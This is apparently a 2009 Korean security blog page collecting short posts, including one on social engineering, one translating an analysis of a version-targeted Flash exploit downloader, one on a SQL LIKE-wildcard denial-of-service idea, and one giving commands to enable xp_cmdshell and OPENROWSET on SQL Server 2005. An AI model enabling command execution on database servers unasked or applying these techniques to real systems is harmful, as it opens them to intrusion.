이슬람 해킹은 우리에게는 아직은 낯설게 느껴지고 있습니다.
무자헤딘 비밀2(Mujahedeen Secrets)라고 하는 툴에 관한 이야기 입니다.
이 툴은 글로벌 이슬람 미디어 프론트(Global Islamic Media Front)라는 단체에서 배포하는 암호화 툴이라고 합니다.
"Asrar Al-Mujahidin" 또는 "Mujahedeen Secrets"라고도 하며 알카에다나 탈레반이 인터넷으로 통신할 때 게시판 내용, 메신저나 채팅 내용을 암호화시켜주는 툴입니다.  
이 프로그램은 멀티케스트 이슬람 네트워크 망을 보호하고 그 포함되는 모든 컨텐츠들을 아주 작은 사이즈로 암호화 시켜준다고 합니다.

글쎄 AES는 미국 NIST에서 만든 암호 알고리즘인데 암호화 알고리즘을 미국 걸 쓴다니 아이러니합니다. 이것으로 미국의 강력한 인터넷 도청을 피할 수 있다고 생각하고 있는 것은 아닌지..

1) 첫번째 버전에 포함된 기능   

- 5가지의 강력한 암호화 알고리즘(AES finalist algorithms)
- symmetrical encryption keys 256-bit (Ultra Strong Symmetric Encryption).
- encryption keys for symmetric length of 2048-bit RSA (private and public).
- ROM 압축(compression) (highest levels 압축)
- stealthy ciphering
- cipher auto-detection.
- sile shredder

2) 두번째 버전에 포함된 기능

- messaging 보호
- files to text encoding
- checking digital signatures of files
- creating digital signature of the file

2009/08/11 14:18 2009/08/11 14:18

2006년 뉴질랜드의 한 보안 컨설턴트가 발견한 방법이라고 합니다. 아직 패치는 나오지 않은 상태이고 Windows XP가 화면 잠김 상태일때 패스워드 없이도 Unlock 시킬 수 있는 툴을 하나 만들어서 발표을 한 모양입니다. Firewire라는 걸 이용한다고 합니다.


원문)
http://www.smh.com.au/news/security/hack-into-a-windows-pc--no-password-needed/2008/03/04/1204402423638.html

주) Firewire란
미국 애플 컴퓨터 회사와 텍사스 인스트루먼트(Texas Instruments)사가 공동으로 제창한 고속 직렬 데이터 버스 규격. 케이블의 전기적 특성이나 접속기의 형상 등 물리적인 부분에 대해서 결정된 규격으로, 후에 IEEE 1394로 규격화되었다. IEEE 1394는 주로 PC와 AV 기기의 접속을 상정한 통신 규격으로서 디지털 동화상 전송 등을 의식해서 만든 것이다. ‘Fire-Wire’라는 명칭은 ‘불에 타서 연기가 올라가는 만큼 빠른 속도’라는 의미에서 붙여졌다.

  IEEE 1394의 규격은 파이어와이어 400과, 800이 있는데 각각 약 100/200/400Mbps, 800Mbps의 전송 속도를 지원한다. 두 규격은 모두 핫 플러깅을 지원한다.
IEEE 1394, 혹은 파이어와이어(FireWire), 아이링크(i.Link)는 같은 말이다.

2009/08/11 14:17 2009/08/11 14:17

해킹기술은 눈부신 정도로 엄청난 기술 발전를 가져오고 있다.
이제는 직접 서버를 해킹하지 않아도 해킹할 수 있는 기술들이 속속 등장하고 있다. 인터넷 곳곳이 다 지뢰밭인 셈이다.
웹서핑할 때 마다 악성코드가 숨겨진 것이 없는지 부비트랩이나 함정 탐지하듯 해야 하는 시대가 되가고 있다.
해킹기술의 최고 정점은 Human Hacking이다.

Did you know that humans get Hacked as much as computers?
It is called social engineering and it has been happening long before computers ever existed!
 
바로 사회공학적인 공학기법이다. 컴퓨터가 존재하기도 전에 이 방법은 존재했었다.

1. Hacking Humans

Social engineering is the human side of breaking into a corporate network. Companies like ours with authentication processes, firewalls, VPNs and network monitoring software are still wide open to an attack if an employee unwittingly gives away key information in an email, by answering questions over the phone with someone they don't know or failing to ask the right questions.


2. Social Engineering, an Example
AOL experienced a social engineering attack that compromised their system and revealed confidential information of more than 200 accounts. In that case the caller contacted AOL's tech support and spoke with an employee for an hour. During the conversation the caller mentioned that his car was for sale at a great price. The employee was interested, so the caller sent an e-mail attachment with a picture of the car. Instead of a car photo, the mail executed a backdoor exploit that opened a connection out from AOL through the firewall. Through this combination of social engineering and technical exploitation, the caller gained access to the internal network.


3. Forms of Social Engineering
Social engineering is not limited to phone calls; many organizations have reported cases involving visitors impersonating a telephone repair technician requesting access to a wiring closet or a new member of the IT department needing help accessing a file.

People, for the most part, look at social engineering as an attack on their intelligence and no one wants to be considered "ignorant" enough to have been a victim. It's important to remember that no matter who you are, you are susceptible to a social engineering attack.

If you suspect social engineering – don't be afraid to ask questions and/or notify your IT department. If a caller requests information that is technical in nature, please refer them to your IT department.


[원문]
http://www.auditmypc.com/freescan/readingroom/social-engineering.asp

2009/08/11 14:16 2009/08/11 14:16
웹 사이트의 검색부분은 보통 SQL SELECT 구문의 LIKE절에 들어가게 됩니다. 이 공격은 LIKE절에 Wildcard 문자들을 무작위를 입력하여 SQL 서비스 퍼포먼스를 떨어드리는 새로운 형태의 서비스 거부 공격입니다.

[다운로드]


2009/08/11 14:11 2009/08/11 14:11
We have discovered one interesting technique to hide malicious code from researchers.

--> 우리는 보안연구자들에게서 악성코드를 숨기는 재미난 기술을 한가지 발견했다.
The initial infection was common iframe injection on a web page. The iframe page loaded tiny shockwave file, which was only 158 bytes long!

--> 초기 감염방식은 일반적인 웹페이지 iframe 삽입이다. iframe 페이지는 아주 조그만 쇼크웨이브 파일에 실행이 되는데 그 크기 딱 158바이트이다
 
This file uses internal ActionScript global variable ("$version") to get the version of user's OS and plugin for handling Shockwave files.
--> 이 파일은 내부의 ActionScript 전역변수("$version")로 사용자 OS 버전정보를 가져오거나 쇼크웨이브 처리하는 플러그인에 사용된다.

사용자 삽입 이미지


The $version variable evaluates to something like "WIN 9,0,12,0", which is short platform name, version and revision numbers of Adobe Flash Player plugin. After that 4561.SWF tries to download and run another .SWF basing on this string. In the case above it tried to download "WIN 9,0,12,0i.swf" file.

The server replied with famous ERROR 404: “File Not Found”. But that was done for purpose. If the 4561.swf file was tested
--> 서버는 ERROR 404:"File Not Found"로 응답한다.  그러나 그것이 사실상 의도된대로 수행되어 진 것이다.
on an automated sandbox a researcher may have not notice the fact that unavailability of the second .SWF file was not due to the absence of malicious code on the server, but due to the different Adobe Flash Player plugin that was used in the sandbox.

I have checked all the possible versions and found 6 different .SWF exploits.
--> 6개의 .SWF 해킹코드를 발견했다.

WIN 9,0,115,0i.swf
WIN 9,0,16,0i.swf
WIN 9,0,28,0i.swf
WIN 9,0,45,0i.swf
WIN 9,0,47,0i.swf
WIN 9,0,64,0i.swf

The files were already detected by our engine as Exploit.SWF.Downloader.c but they were new variations and were not in malware collection. The first sample of Exploit.SWF.Downloader was detected on 2008-05-27.

This exploit uses a vulnerability of Adobe Flash Player, built on incorrect image size handling. I discovered embedded jpeg data with wrong image size inside.


사용자 삽입 이미지



So, to draw the line, I would like to repeat that this technique allows to carefully download specific exploits for specific version of the vulnerable Adobe Flash Player plugin and at the same time allows to hide the actual malicious code from curious researchers.

나머지는 번역하기 넘 귀찮아서 천천히 할게요 ^^
2009/08/11 14:08 2009/08/11 14:08

MS SQL 2005 부터는 xp_cmdshell를 오픈할 수 있는 방법이 변경되었습니다.

1. SQL2005 하에서 'xp_cmdshell' Open하는 방법 :
 

> sp_configure 'show advanced options', 1;
go
RECONFIGURE;
go

> sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go


2. SQL2005 에서 'OPENROWSET' 오픈하는 방법:

> sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO

> sp_configure 'Ad Hoc Distributed Queries', 1;
GO
RECONFIGURE;
GO

2009/08/11 14:04 2009/08/11 14:04
국내 DB 보안 제품인 사크라를 만든 웨어벨리에서 최근에 만든 DB 취약점 스캐너인 Cyclone입니다.
트라이얼 버전을 사용해 보고 있는데 괜찮게 잘 나오는 것 같습니다.
DB 취약점이 다소 어려운 면이 있는 것도 사실입니다. 사실 DBA는 취약점 자체가 뭘 의미하는지 모르기 때문입니다.
과연 그럴때는 어떻게 접근해야 할 까 참 고민을 많이 하게 됩니다.
사용자 삽입 이미지
사용자 삽입 이미지
2009/08/11 14:03 2009/08/11 14:03

MS SQL 2005 서버가 점점 많아지면서 진단시 기존의 2000과 쿼리명에 약간의 변경이 있습니다.

1. 테이블의 모든 계산 열(Computed Column) 찾기

1) SQL SERVER 2000
select name from syscolumns where id =object_id('TableName') and iscomputed=1


2) SQL SERVER 2005
select name from sys.computed_columns where object_id =object_id('TableName')

[참고]

SQL Server 2005에서는 계산된 열을 지속형(Persisited)으로 설정할 수 있습니다. 따라서, 지속형(Persisted)으로 설정되지 않은 계산된 열을 확인하기 위해서 다음과 같이 조건을 추가할 수 있습니다.:

select * from sys.computed_columns where is_persisted=0

2. ID열이 있는 테이블 목록 조사하기

1) SQL SERVER 2000
select object_name(id),name from syscolumns where columnproperty(id,name,'IsIdentity')=1

2) SQL SERVER 2005
select object_name(object_id),name from sys.identity_columns

[참고]
SQL Server 2005 에서는 id열의 가장 마지막 값을 별도로 저장합니다. 다음과 같은 쿼리를 이용해서 이를 확인할 수 있습니다..

select name,last_value from sys.identity_columns

3. 현재 Instance의 모든 데이터베이스 알아내기

1) SQL SERVER 2000
select name from master..sysdatabases

2) SQL SERVER 2005
select name from sys.databases

4. 데이터베이스의 모든 저장 프로시저 리스트 알아내기

1) SQL SERVER 2000
select name from sysobjects where type='P'

2) SQL SERVER 2005
select name from sys.procedures

[참고]
다음과 같은 조건으로 저장 프로시저가 복제에서 이용되는지 여부와 SQL Server가 시작할 때 자동으로 시작하는지의 여부를 확인할 수 있습니다.
select name from sys.procedures where is_execution_replicated=1
select name from sys.procedures where is_auto_executed=0

5. 데이터베이스의 모든 테이블 리스트 알아내기

1) SQL SERVER 2000
select name from sysobjects where type='U'

2) SQL SERVER 2005
select name from sys.tables

[참고] : 다음과 같은 조건으로 복제되는 테이블의 리스트를 확인할 수 있습니다.
select * from sys.tables  where is_replicated =1

6. 데이터베이스의 모든 뷰 리스트 알아내기

1) SQL SERVER 2000
select name from sysobjects where type='V'

2) SQL SERVER 2005
select name from sys.views

7. 데이터베이스의 모든 트리거 리스트 알아내기

1) SQL SERVER 2000
select name from sysobjects where type='TR'

2) SQL SERVER 2005
select name from sys.triggers where parent_class=1

[참고]
다음과 같은 조건으로 어셈블리(CLR) 트리거와 SQL 트리거를 구분할 수 있습니다. (TA : 어셈블리 트리거, TR : SQL 트리거) 또한 After 트리거인지 Instead Of 트리거인지도 구분 가능합니다.
select name from sys.triggers where type='TA'
select name from sys.triggers where type='TR'
select name from sys.triggers where is_instead_of_trigger=1

8. 서버의 모든 로그인 리스트 알아내기

1) SQL SERVER 2000
select * from master..syslogins where isntgroup=0 and isntname=0

2) SQL SERVER 2005
select * from sys.sql_logins

9. 데이터베이스의 모든 SQL 개체에 대한 종속성 확인하기

1) SQL SERVER 2000
select * from sysdepends

2) SQL SERVER 2005
select * from sys.sql_dependencies

10. SQL Server의 모든 데이터 유형 확인하기

1) SQL SERVER 2000
select * from systypes

2) SQL SERVER 2005
select * from sys.systypes

11. SQL Server의 모든 에러 메시지 확인하기

1) SQL SERVER 2000
select * from master..sysmessages

2) SQL SERVER 2005
select * from sys.messages

12. 현재 데이터베이스의 데이터 파일 확인하기

1) SQL SERVER 2000
select name,filename from sysfiles

2) SQL SERVER 2005
select name, physical_name from sys.database_files

13. 현재 데이터베이스의 모든 인덱스의 유형 확인하기

1) SQL SERVER 2000
sysindexes 테이블의 indid 열을 이용해서 구분

2) SQL SERVER 2005
select object_name(object_id),name, type_desc  from sys.indexes where type_desc ='CLUSTERED'
select object_name(object_id),name, type_desc  from sys.indexes where type_desc ='HEAP'
select object_name(object_id),name, type_desc  from sys.indexes where type_desc ='NONCLUSTERED'
select object_name(object_id),name, type_desc  from sys.indexes where type_desc ='XML'

2009/08/11 14:00 2009/08/11 14:00